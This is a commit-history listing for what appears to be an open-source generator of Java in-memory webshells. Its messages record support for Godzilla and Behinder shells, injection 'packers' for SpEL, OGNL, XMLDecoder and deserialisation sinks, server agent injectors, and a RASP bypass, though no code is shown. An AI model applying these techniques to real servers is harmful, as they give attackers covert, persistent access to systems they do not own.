Compare commits

..
723 Commits
Author SHA1 Message Date
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason d1a2912428 chore: 1.9.0 2025-05-28 01:22:54 +08:00
ReaJason 006cce6a74 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 8d240f2a50 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 9d03c04dfa fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason 8e4dd5ab6a style: lint 2025-05-28 01:22:54 +08:00
ReaJason 8ae71c5b6b chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 566286a8fa refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason 9692ab6e7b fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason c75cb2f8ef refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason e31fcdeca9 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason f734e3c391 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason 8558487b6c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason c5ad3e81cb feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason 18c0920c27 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason ddfa273938 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 4a1359a736 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason d197691bed feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason f7e401bd46 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason cd10fe9a2c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 21acf71af6 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason bb8e4c7a7e feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason 627ecf6465 test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason 0658f103cc feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason b134b5a5a7 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason cc6bed07a1 docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 5d5f866744 fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason cf82dd9470 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason b06a39d1b8 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 19faf77d5c feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason a3704eb7b7 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason eeed6e45c7 fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason 3c1c1cb8fc feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 26d72cb909 refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 70c128ced1 docs: update CHANGELOG 2025-05-14 01:29:12 +08:00
ReaJason dd2d9a8a3e ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason ea955feccd chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 6c84c44005 docs: update 2025-05-14 00:47:22 +08:00
ReaJason b581583dce refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason a037e5d043 chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 06dc282cff test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason cae0a38a7a test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason d69df0d1c1 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason 942fa3ec68 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason f52efcb7a2 feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason f55702ecda fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason bc53918455 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason ac2b28c1f3 test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason e68355df8b feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason e4a5215f5f fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 4f8ff51f8b feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason fc9877aa3a refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 8bb338d5a1 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason 0e2abdecb3 fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason f934e1e7ed fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason 330544c7f7 feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason 0fe51f8ec0 fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason d2efb56dbc chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 827462bcc6 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason e59678188a feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 0ea1e7baba fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason d0ee5c66bf test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 0ee64df302 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason 565d05340e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 761de0af90 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 50a9aec83c style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 3ecdbf020d test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 65d097c43d ci: speed up integration test 2025-04-23 00:41:10 +08:00
ReaJason 825c276d4e feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason b8f3b67ba4 test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 59621eefec test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason a0e9dfbc85 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason 98281f0eae fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason 2851c5d9e0 build: upgrade bun image version for fast build 2025-04-16 20:47:05 +08:00
ReaJason 02bc358498 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 2fe3f82ebc docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 8e89db5b96 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 8f46ea2e5e docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 9299764994 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason d0b3ad2d95 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason 29f854c6dd refactor: format code 2025-04-12 21:48:23 +08:00
ReaJason 29d0d1b1e7 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason 93fc7205cc docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason f86675aee1 docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason ecfe751f38 docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 8e3dee8d13 docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason 6a899d9f92 docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 7bb4890443 docs: add maven central badge 2025-04-06 19:07:24 +08:00
ReaJason 66c6403dd7 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason 9fa0cdd089 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason abe55ba17e chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason feb5a2b44a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason bc5e813064 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason bfb7280c47 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 8c9cb252db test: revert error 2025-04-06 13:55:17 +08:00
ReaJason a441e468fb test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason f280cddb67 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason b6de448171 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 81f42aae39 ci: update name 2025-04-06 13:55:17 +08:00
ReaJason da5db939be feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason e1540f1c05 refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason accf83ac9d refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason f57ee7536c fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason ffd2a636f4 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 6b47b8e488 feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason 85e9eb8c70 refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason 47ea535fac revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 540559653f chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8a0e3ee5de fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason bc9ce37a52 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 02c7abd086 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 8eab3f5633 docs: update screenshots 2025-03-30 16:31:32 +08:00
ReaJason 0f03072b56 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason 2f59fc80fb docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason 901a2b3af0 test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 8deff1c8d9 feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason ad05c8f2da feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e228065aa0 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason af0135286d test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 722da5560e docs: update README 2025-03-30 15:33:31 +08:00
ReaJason b6e34e4beb refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason 3ced92f2d0 feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 476d92f173 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason 3c7fd8aca5 test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason c93ab0e7e0 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 89cd4fef62 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason e6d9ddb210 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason a042900052 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 23d3628786 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 4a9217aa3a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason dd4832a5a8 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason db579ce39e chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason 4c70dc9148 docs: update 2025-03-30 15:33:31 +08:00
ReaJason d97ddbd1cc perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason b8e91a3697 style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason 5d97780e34 fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason a7751a0467 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 5abaa5bbc1 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason b3780135bb chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason c1fefd3510 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason ff70a5f2fe ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason d7faa6a59f build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 675272a04c docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason a284cbbd02 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 9073a97eec feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason de2864b892 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
